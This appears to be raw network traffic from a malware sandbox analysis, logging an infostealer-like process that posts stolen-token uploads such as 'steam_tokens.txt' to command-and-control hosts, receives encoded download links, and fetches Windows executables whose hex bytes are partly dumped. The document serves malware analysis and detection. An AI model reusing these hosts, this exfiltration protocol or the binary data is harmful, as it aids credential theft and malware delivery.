0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="token"600de8cc1ee0a29ac8d13f997d89f5a9358326c6b6c2ddc689e1158285b8bbf990c71604------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="file"------GIECFIEGDBKJKFIDHIEC--
Sep 26, 2024 19:05:20.920995951 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 26, 2024 19:05:20.924189091 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDAAKEGDBFIJJKFHCFB Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 41 41 4b 45 47 44 42 46 49 4a 4a 4b 46 48 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 30 64 65 38 63 63 31 65 65 30 61 32 39 61 63 38 64 31 33 66 39 39 37 64 38 39 66 35 61 39 33 35 38 33 32 36 63 36 62 36 63 32 64 64 63 36 38 39 65 31 31 35 38 32 38 35 62 38 62 62 66 39 39 30 63 37 31 36 30 34 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 41 4b 45 47 44 42 46 49 4a 4a 4b 46 48 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 41 4b 45 47 44 42 46 49 4a 4a 4b 46 48 43 46 42 2d 2d 0d 0a Data Ascii: ------HIDAAKEGDBFIJJKFHCFBContent-Disposition: form-data; name="token"600de8cc1ee0a29ac8d13f997d89f5a9358326c6b6c2ddc689e1158285b8bbf990c71604------HIDAAKEGDBFIJJKFHCFBContent-Disposition: form-data; name="message"ybncbhylepme------HIDAAKEGDBFIJJKFHCFB--
Sep 26, 2024 19:05:21.112371922 CEST	343	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 116 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 48 4d 36 4c 79 39 6b 59 6e 4e 74 5a 57 35 68 4c 6d 4e 76 62 53 39 32 5a 48 4e 6f 5a 6d 51 75 5a 58 68 6c 66 44 42 38 4d 48 78 54 64 47 46 79 64 48 77 30 66 47 68 30 64 48 42 7a 4f 69 38 76 5a 47 4a 7a 62 57 56 75 59 53 35 6a 62 32 30 76 62 47 70 6f 5a 32 5a 7a 5a 43 35 6c 65 47 56 38 4d 48 77 77 66 46 4e 30 59 58 4a 30 66 44 52 38 Data Ascii: aHR0cHM6Ly9kYnNtZW5hLmNvbS92ZHNoZmQuZXhlfDB8MHxTdGFydHw0fGh0dHBzOi8vZGJzbWVuYS5jb20vbGpoZ2ZzZC5leGV8MHwwfFN0YXJ0fDR8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49742	46.8.231.109	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 19:05:27.065437078 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEBAFCBKFIDGCAKKKFC Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 30 64 65 38 63 63 31 65 65 30 61 32 39 61 63 38 64 31 33 66 39 39 37 64 38 39 66 35 61 39 33 35 38 33 32 36 63 36 62 36 63 32 64 64 63 36 38 39 65 31 31 35 38 32 38 35 62 38 62 62 66 39 39 30 63 37 31 36 30 34 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 43 2d 2d 0d 0a Data Ascii: ------IIEBAFCBKFIDGCAKKKFCContent-Disposition: form-data; name="token"600de8cc1ee0a29ac8d13f997d89f5a9358326c6b6c2ddc689e1158285b8bbf990c71604------IIEBAFCBKFIDGCAKKKFCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IIEBAFCBKFIDGCAKKKFC--

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	59777	45.132.206.251	80	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 19:06:36.494388103 CEST	281	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCGIJDHDGDBGDGCGCFH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: cowod.hopto.org Content-Length: 5749 Connection: Keep-Alive Cache-Control: no-cache
Sep 26, 2024 19:06:36.494463921 CEST	5749	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 37 62 63 65 Data Ascii: ------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="token"207bce3f5f80be7d8d4fde15b103ca94------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="build_id"e90840a846d017e7b095f7543cdf2d15------EHCGIJDHDGDBGD
Sep 26, 2024 19:06:37.248933077 CEST	188	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 26 Sep 2024 17:06:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive X-Served-By: cowod.hopto.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	172.105.54.160	443	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:05:22 UTC	72	OUT	GET /vdshfd.exe HTTP/1.1 Host: dbsmena.com Cache-Control: no-cache
2024-09-26 17:05:22 UTC	284	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:22 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 26 Sep 2024 16:59:47 GMT ETag: "c09a7-64e28-62308aa791e92" Accept-Ranges: bytes Content-Length: 413224 Content-Type: application/x-msdownload
2024-09-26 17:05:22 UTC	7908	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 c2 91 f5 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 1e 06 00 00 08 00 00 00 00 00 00 3e 3c 06 00 00 20 00 00 00 40 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf>< @@ `
2024-09-26 17:05:23 UTC	8000	IN	Data Raw: 46 c1 72 f0 d6 ed 0f 18 93 33 5b 7d 4c d0 50 d8 7f 55 dd d7 45 78 ae 0e 99 f8 ab c9 47 3f 35 24 d7 46 3f 6a f5 e3 6b 58 01 ee 4b 9d c2 64 b9 1e 27 71 2a 57 01 c3 16 b0 0e cb b4 25 a1 49 2d 7c 56 2f 0d 92 0c a3 d4 03 91 59 07 3c 5e 13 03 41 c0 63 02 88 34 e9 48 b1 9b d0 16 c7 2f bd 25 30 cd a9 10 e0 80 a2 50 f7 eb 9f 6e 1d cd 10 a5 fb 19 65 9d 36 2e 59 cb 73 38 db 58 51 12 bd 86 bc c9 2b 2f d9 3a 24 5a 54 68 6e 8c c1 52 72 eb 4e 74 d4 0c fa 9a 8e dc d8 b6 a9 6c 49 87 c6 22 b3 2b 25 76 b5 df 28 59 05 79 55 f7 c4 aa 95 33 47 59 9f 50 a5 7d 0e b3 9b 1b 09 7c 72 cd 03 98 a4 fd c0 5c eb 33 d7 d1 41 ed 15 f2 e8 3d c3 e9 bf 2c f5 bb b3 8b a8 51 a0 58 d5 54 eb c4 b5 54 5c 82 5c e7 d3 99 0f fd f5 d0 36 79 bd 69 a0 39 89 17 7d d7 ca f0 c6 0a c1 be 29 38 2c 83 74 f1 Data Ascii: Fr3[}LPUExG?5$F?jkXKd'q*W%I-\|V/Y<^Ac4H/%0Pne6.Ys8XQ+/:$ZThnRrNtlI"+%v(YyU3GYP}\|r\3A=,QXTT\\6yi9})8,t
2024-09-26 17:05:23 UTC	8000	IN	Data Raw: 8e ca 55 d4 6c 46 17 ec 28 f9 d4 58 7a 79 30 10 b3 ad 92 46 c8 9f 1a cf 5a e9 9c dc 1b cb 4c be d7 ec 2f 57 82 fc d3 d0 e2 36 65 9c c3 29 4e 82 97 1e 87 e7 c2 72 e4 ad be 81 2a bd ce ae b4 84 4d 00 fa 49 cc 0b 2b 4e 54 46 cc fb fb f0 9a 00 01 3f c1 69 67 7e 40 0f 19 68 9e 8a 0f 1e 39 a3 e4 0b 1e 32 7e dc ab 11 40 92 0f 12 40 4c d1 bf 04 a2 50 86 d1 dc 96 96 ea c5 ab 19 dd ce 4d 06 16 d9 13 c6 1c 8c 2b 21 ec a0 fd 89 00 48 aa 68 52 fa c0 dc 9e a0 50 a0 dd 34 20 d6 f8 dc 3d e2 c7 df 5b 37 94 8f b0 c3 23 2f 1d 03 94 67 98 37 df ae 1c 34 31 bc 43 15 60 b9 7b c9 c7 76 7d 7e 9c 1b 9d 0c 20 dd e1 d1 7e 39 e0 a8 77 10 77 37 ed f2 16 52 9b 09 89 2c a6 45 6e 49 ed 96 a4 cc 10 eb e4 3d 7a 7d 0c df 60 d6 fa 50 8c 22 87 fc cd f0 9f 0b c8 ca 83 38 d3 1a 2d a6 a6 d1 6a Data Ascii: UlF(Xzy0FZL/W6e)Nr*MI+NTF?ig~@h92~@@LPM+!HhRP4 =[7#/g741C`{v}~ ~9ww7R,EnI=z}`P"8-j
2024-09-26 17:05:23 UTC	8000	IN	Data Raw: 00 6b 91 b4 75 c8 49 c4 09 a8 d5 50 79 64 f1 1a 98 ef e5 6a a0 dd a8 69 b8 58 a3 30 04 97 42 88 52 b2 11 03 a0 f7 4f f5 54 e7 f6 bd 2f b4 80 79 a4 0d 51 4f 71 d3 0d d9 2a 55 2e ec 98 1e 7a cf 7e d9 44 64 6a ec 09 5a 68 d6 f3 67 c5 59 9d 03 4b df cc 0b 02 93 9a b9 72 b9 71 78 fa c9 a0 5f f9 39 a1 7e 1c 78 96 a5 31 41 41 08 15 f1 bc 5d 07 3c 49 01 ab 9e 01 8e b9 27 f6 1b 17 2f 21 eb aa e5 2b f3 ce 59 75 e2 1b b8 ab 17 d6 81 69 c1 41 cf 56 0e 75 05 b0 ae 3a 95 ed 54 75 1b 2d 11 7f 25 c2 47 1c 83 2f 81 32 1b 73 12 c6 2a 0c 0f f8 c6 23 4b 9d f3 64 18 71 25 c4 bd 6f f5 c7 cb fa 88 9a 98 12 5a b0 df 0f 12 37 20 74 06 9d 4f f2 25 0b 47 a6 70 b9 e3 21 fd ef 43 0a 8f 47 68 ee 36 01 e5 bb 83 f3 23 07 d7 a6 0b 6a 63 b7 a6 83 88 da e5 d0 95 cc 29 e0 07 23 8e 35 7a 74 Data Ascii: kuIPydjiX0BROT/yQOqU.z~DdjZhgYKrqx_9~x1AA]<I'/!+YuiAVu:Tu-%G/2s#Kdq%oZ7 tO%Gp!CGh6#jc)#5zt
2024-09-26 17:05:23 UTC	8000	IN	Data Raw: 8a b4 be 40 a2 e6 0a c1 4e 75 dc 75 e3 bf a9 65 28 ea d2 34 61 c2 d4 f4 33 3e 22 a8 8a 54 28 2c f8 94 28 55 7a c1 f1 1e cb 2c 28 1c fa 61 a7 4d db 59 0b e6 f7 7c 08 c2 f0 70 c3 86 8d 9c 93 76 dc 4e 61 2b 66 6a 2e f9 86 e4 dd bc 00 72 83 b5 77 81 5d 34 cd 97 30 b0 32 dc 82 77 49 c0 9f ae 00 35 bc 48 b1 87 5f 47 32 c4 da ae 15 b2 5a a2 b7 cf 57 f7 77 a8 5d 52 12 d2 04 8a 44 18 64 ee 38 17 0f 58 18 3a a5 b4 ad 3d ee 9a b9 39 35 77 66 75 a3 7d ca e4 7a 2a 08 f3 9a 03 8c 71 63 53 0a e6 16 7c 3d de a0 01 a9 52 3a f9 f3 04 11 3c 00 02 b1 7f b1 6a e4 fb 77 99 b0 22 57 84 21 68 a1 4b d1 c3 16 f1 e4 45 ff 68 1a e8 7c 5d 0c 89 7e 1a b5 25 2e 7e cd 78 b5 c2 4f 92 7e 18 6e 59 0c e5 f3 61 ef 0d 1d 7d 01 72 9c b7 46 0e cf 0e 8c f4 2a 04 3d 10 67 c0 8c b8 b8 a2 bf 21 4f Data Ascii: @Nuue(4a3>"T(,(Uz,(aMY\|pvNa+fj.rw]402wI5H_G2ZWw]RDd8X:=95wfu}zqcS\|=R:<jw"W!hKEh\|]~%.~xO~nYa}rF=g!O
2024-09-26 17:05:23 UTC	8000	IN	Data Raw: 5f ad 55 5b 51 b6 d6 62 08 46 00 cf 4a 07 f1 17 26 96 65 e9 82 cf bb 72 06 3c 4d ee fc 9c 96 b7 a7 6f a8 d6 0f f5 ed 8a d8 9e 8c ac 37 bd 38 a7 a1 7d 9f 3f 24 78 8a 94 82 90 9a f1 fb aa 1a 34 12 32 8c 32 ac ad 6a 78 85 38 5f 3c e0 a9 21 ab 45 19 79 02 78 1e 08 68 a6 f6 f9 03 a3 e7 26 56 ed ca 36 b1 4d a4 92 82 2a 9f 54 8f af ae 07 27 b6 94 90 72 fd a9 a2 1e ca 09 78 7d a9 ec 77 7b 60 a9 e0 ab 7b 80 88 bc 3e ae e4 6e 86 57 67 c4 f7 b7 e9 6f dd 68 99 7d bd 9d 63 18 6b f9 97 e8 96 21 3a 54 69 44 6f c1 46 07 dd f0 4c ae 15 1f b7 4e 7d c6 f6 c5 15 62 9a 65 1b 88 e1 ff 9b 93 5c c0 27 92 55 a1 91 32 01 1e 27 1d 77 9a 48 0b 73 0e 70 21 1a 04 65 7b 59 21 ec bb 3b 76 16 0a 04 4c 1e 1d 8e 4f 00 f3 61 46 25 10 12 81 8e 05 cd 26 a2 58 06 93 e2 d2 95 b9 94 06 29 a4 de Data Ascii: _U[QbFJ&er<Mo78}?$x422jx8_<!Eyxh&V6M*T'rx}w{`{>nWgoh}ck!:TiDoFLN}be\'U2'wHsp!e{Y!;vLOaF%&X)
2024-09-26 17:05:23 UTC	8000	IN	Data Raw: 12 d1 2e 62 96 eb 74 ce 56 66 4f 59 d8 c5 6c 94 a7 de 90 40 25 89 49 a2 f7 3c 6a 3b f2 35 30 a1 9a 12 80 6a a4 87 27 8d 79 47 09 aa 90 d9 89 1b 81 67 75 c4 1e 65 a0 00 38 04 75 28 f4 b7 b7 dd cc 17 3e 03 a9 de 11 ae eb 62 c0 a4 e7 77 50 ee d4 a0 2a 14 89 67 b1 02 2a 5b e2 cf 9c 4f d3 18 fc b9 d1 f8 0e 44 db 7d d2 94 af d5 99 5e 66 8f b0 c8 b2 e1 5f 88 4a 83 6c 6a 20 22 58 ee 60 43 45 97 46 ad e0 82 64 f2 70 f7 a1 9f fb 68 82 c3 cb 27 2b 28 d2 b1 68 d4 d6 97 75 50 a4 b9 f0 d0 5e 7e 1d 19 56 68 c7 f3 bf f4 a9 e5 a3 ce e8 ca 57 69 61 83 56 11 27 cf 80 e1 5e 4c 9a 36 c6 4a 04 e3 0f 63 18 b5 a8 a4 5b 13 a4 ea d5 56 1e 68 84 e4 db ac 92 07 60 f8 47 20 34 da d5 f1 ae d7 05 c5 ab 8c dc 11 f8 9b f8 b5 76 b8 eb 03 63 dd 19 4c 9d 46 e2 61 f6 8e 17 2c 0c 7e 3f 97 4b Data Ascii: .btVfOYl@%I<j;50j'yGgue8u(>bwPg[OD}^f_Jlj "X`CEFdph'+(huP^~VhWiaV'^L6Jc[Vh`G 4vcLFa,~?K
2024-09-26 17:05:23 UTC	8000	IN	Data Raw: a1 00 c3 90 15 dc a8 68 99 43 79 c1 d5 4d 47 15 f3 ef b2 15 c2 1a cc ee 9c 3a 03 6e 5e ae d7 96 48 99 8a 68 97 c5 0f e5 76 e0 54 8f 96 f3 e9 86 df fb ab 55 aa 23 ce ea c2 db 04 26 9a 52 da b7 85 c7 b9 85 24 34 be fe ff 90 8f 64 ca e4 4e ce 9c ab 4c d0 3b 18 c2 90 69 fb 9d 48 41 33 2b 85 03 c4 42 b8 fe dd df 5c 62 cc ec a7 38 ce cb 89 08 62 35 6f c8 4b 97 11 a1 a3 e8 f7 3f 18 6c 08 e3 67 28 78 cf 37 c6 8f 7d eb 11 a3 bf 14 e6 de e6 bf 70 4c cf 90 b2 f8 a2 79 72 91 26 fb 50 bd 10 6c be 74 98 33 24 b6 86 e5 45 2d d2 55 ca 5d 1c d8 fa a3 0b 33 54 a0 8b 72 3f 09 bc 19 7b de 1b 17 f4 0a 80 2e f7 20 b6 8e 28 41 d4 43 2f 61 e8 af e3 cf 08 41 66 21 90 eb f2 9b d7 9c 13 d5 35 95 7b b0 12 4b ae 23 ac 13 42 87 77 8a 9d 94 63 45 2e 4e d8 6a de 3b dc bb 91 c1 fb 5a 20 Data Ascii: hCyMG:n^HhvTU#&R$4dNL;iHA3+B\b8b5oK?lg(x7}pLyr&Plt3$E-U]3Tr?{. (AC/aAf!5{K#BwcE.Nj;Z
2024-09-26 17:05:23 UTC	8000	IN	Data Raw: 99 73 07 ba 05 53 0a 2e 8e ce 74 09 14 aa 3e 5d 9e e9 dd 64 05 b6 14 43 94 83 8f 1f 4d ca 52 ba 85 36 ab af 17 a7 76 75 d8 c3 12 21 29 fd d1 ce 6b 0f ca 78 93 32 72 fa 82 7e 71 e5 24 25 c6 54 c7 ce 9e 61 ad 3c 55 98 fd 12 c0 4d f8 e4 5c eb c8 f6 36 f6 0a 13 51 5d 4d 0c cd 86 11 06 16 3c b5 a3 b0 86 1c 5e f1 e7 e1 0e 2a b3 53 41 4a d2 52 4e 21 b2 7a 93 20 b7 ae f8 c2 00 c0 07 11 b6 b5 8d 98 bb 03 f0 f6 a3 95 63 3c 3c 17 9a 74 2f d0 af cd d0 dd 22 01 64 38 8e ee eb 53 e4 77 9a 0a 0d b2 93 4e 29 62 80 39 ed 62 cc 14 f3 f6 b2 19 21 60 df f0 66 33 30 09 c7 bc 65 fa 96 dd e5 7b 6e 1c 60 b8 3b 70 3e 0e 07 0f b9 bf 8d bc 8f 88 b3 58 b0 71 9e 80 42 0b e8 8a fd 9a 80 db b9 d8 e9 6a d6 91 8f 0a f1 ca bc 70 7e 67 36 86 f5 a8 ac db f3 ab 7a b7 ee 5d fe 8c c4 01 8f 63 Data Ascii: sS.t>]dCMR6vu!)kx2r~q$%Ta<UM\6Q]M<^*SAJRN!z c<<t/"d8SwN)b9b!`f30e{n`;p>XqBjp~g6z]c
2024-09-26 17:05:23 UTC	8000	IN	Data Raw: 82 9c 92 0b 46 c8 04 70 76 13 9b 87 42 0f ae 6d 7a c3 d0 76 5d bc b0 ff 48 db bf 3e fc 06 2e b8 bd d7 2e 37 77 1c bb 33 5d 8d 3b f0 bf 65 5f 83 c1 77 86 3d ad 8a 0a 11 9b 49 1f 6d d3 f9 d2 c3 2e e1 b7 e8 4e ce ea b1 2f 5e a7 70 20 8a e2 df 18 7e 39 b7 b7 5b 71 e4 ca 40 07 3d 72 f9 e4 f7 25 a2 4e 98 96 47 59 4b 96 b3 84 1a 48 c8 8a 10 81 29 1c 91 ff 8f f6 55 73 98 3d 66 fb 39 db 5d 21 7a f3 64 08 3e 22 28 17 0f b7 f9 4c dd 80 02 98 f7 48 a8 94 62 60 f7 32 41 83 1a e4 00 24 f8 90 bf bd 63 e7 47 75 7e 13 f3 58 7a 36 e8 68 24 0e 4a e7 13 e8 23 ce 89 fe 2b 02 1c 26 87 47 80 c4 2e 1f 43 be 6f f8 1f a8 62 49 a0 c9 de 42 6e dd 1a a4 42 7a eb 9f 6e 5b c9 09 12 ed 5b ee 9a c7 45 64 14 51 98 e0 f8 d7 bb de 72 cb da 54 bb a0 ef d7 e0 52 85 2b 84 cb 22 72 85 53 3f 1e Data Ascii: FpvBmzv]H>..7w3];e_w=Im.N/^p ~9[q@=r%NGYKH)Us=f9]!zd>"(LHb`2A$cGu~Xz6h$J#+&G.CobIBnBzn[[EdQrTR+"rS?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	172.105.54.160	443	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:05:25 UTC	73	OUT	GET /ljhgfsd.exe HTTP/1.1 Host: dbsmena.com Cache-Control: no-cache
2024-09-26 17:05:25 UTC	284	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:25 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 26 Sep 2024 16:59:48 GMT ETag: "c218c-5e028-62308aa93ecb1" Accept-Ranges: bytes Content-Length: 385064 Content-Type: application/x-msdownload
2024-09-26 17:05:25 UTC	7908	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ec 91 f5 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 b0 05 00 00 08 00 00 00 00 00 00 3e ce 05 00 00 20 00 00 00 e0 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf> @ `
2024-09-26 17:05:26 UTC	8000	IN	Data Raw: 13 ef d2 a2 82 10 e4 7b 18 b1 3b 98 2a 47 7f 40 7c 65 20 fd 2e a9 40 96 75 f4 7a a2 0d dd d5 19 59 97 3c 4a 80 e4 e6 3b 9d 07 a4 29 69 dd a7 93 7e 44 db f2 c7 f2 fb b3 49 1a e8 f0 62 2e 1c 2f f2 0f a7 c2 d1 41 28 2e de 6a 3a 64 72 a0 99 67 58 1d ae 19 6c 5d 2d a4 25 2c ed ae 41 0e db 5a c3 ec 3b 9b 76 46 db 2b 85 95 f7 dd 6a 6d f5 5f 6d 16 68 d3 9d b5 fb 1d 3a 90 c1 32 23 71 e9 7c 94 30 36 fc 99 f8 aa 24 6d 43 a4 b4 0d e5 22 91 9e 99 f3 99 e9 53 8d 37 87 ea c1 e3 ab 30 d7 33 5d b0 e9 2e c9 a8 85 5b e6 07 06 97 27 d4 5d 18 e8 9e 18 10 0b 1a 47 40 b9 09 22 8f 06 18 ba 1a 01 0b 71 80 63 15 ee 60 a6 f4 c4 86 57 b8 fb c9 5f 52 3c 06 a0 96 59 74 bd d9 e9 f4 85 df 89 25 14 0e bf 0d 47 ca 17 d1 28 0b 73 5f 18 8b e1 01 37 be dc f1 bf 11 d9 84 f4 62 d4 08 c8 44 8c Data Ascii: {;*G@\|e .@uzY<J;)i~DIb./A(.j:drgXl]-%,AZ;vF+jm_mh:2#q\|06$mC"S703].[']G@"qc`W_R<Yt%G(s_7bD
2024-09-26 17:05:26 UTC	8000	IN	Data Raw: 04 f2 f3 42 4b f0 da d7 38 cd 18 14 d2 03 7f 1b cb f1 cf 8e fb f0 d4 ef 03 28 13 e9 2c 87 fa 8a 86 3e 1d 87 9f 5d f7 94 00 33 ed 3a 49 f6 49 f5 d9 b6 69 62 bc 77 3e 12 bb 48 4f 3d 43 7a 74 a8 b7 05 e9 88 fd 24 82 47 03 83 bd 8b d7 17 5c 79 de 65 be df 3a 01 25 d1 cd 00 93 4a b3 8d 9a eb 0e cf af c0 24 05 b4 c2 95 d7 4f ab fa 0d b7 bd 2d f5 86 30 40 14 52 b9 ae 2b 86 a0 c0 66 6e 57 e6 a2 6d 06 73 ff ce e2 c0 93 ba 43 bb 24 20 01 2d 49 a4 24 d3 98 27 9d 0f 37 6c f9 82 31 f3 02 ab c7 d1 99 c1 85 92 50 8c bc c6 51 27 bf e3 f8 73 30 66 df 44 71 94 ab cb aa 0d d6 b9 89 9c 85 37 54 f2 46 a1 91 3c 2b cf 06 93 8c 5d f3 62 ee 62 2e f5 43 7f b6 f9 8d ac 9f 05 e8 a8 78 42 92 a0 9a a1 38 f1 7d 3a 03 46 20 16 7c f4 78 26 56 23 63 c6 88 37 65 8f 38 24 b2 af bb 2c 96 c8 Data Ascii: BK8(,>]3:IIibw>HO=Czt$G\ye:%J$O-0@R+fnWmsC$ -I$'7l1PQ's0fDq7TF<+]bb.CxB8}:F \|x&V#c7e8$,
2024-09-26 17:05:26 UTC	8000	IN	Data Raw: c3 65 84 87 a2 af fb f7 e6 c8 0e e6 86 18 4b aa 8b 5f 54 d7 43 e8 94 03 b8 52 bc 83 5e a0 35 4d cc b1 67 63 f7 bf b5 e1 a2 47 e2 b2 a5 d7 79 db 4f 8b 53 5d 39 81 b3 9b 8b 90 a6 5d 48 0c f5 42 19 6d 59 ea dd 51 50 fe 01 4c 7d 60 e5 44 74 e5 d5 f3 bd 20 69 54 d6 95 c7 fa ec b1 b0 97 d4 5d c6 d1 0d f3 01 0d 0b 7a 9a e1 85 56 07 8c 0d 32 30 36 d8 71 c1 55 e4 47 cd 9b 2d ff 07 17 9b d0 63 61 06 b4 76 71 a6 aa fe b8 24 6f e4 b9 6e 21 73 27 34 87 33 35 7d 89 ae ec 37 8b 64 34 e9 31 cc 0e e7 e1 7b 7e d8 1b 8e 39 90 35 94 c8 dd c6 4f 63 ec 2c bb db 61 69 8a 2a 81 ca f7 a3 9b ea e9 b4 85 b9 54 2a 2a 91 51 5e f2 1f b2 f2 20 22 cf fb 92 bc 7b 2e 35 2f 69 0b e2 2b d1 ed ca 2a 7d b0 96 a7 4f e1 20 ff af 7d 53 a2 0b d2 ea 31 1a 3d d8 b2 42 18 c4 03 e4 3e 96 72 ff 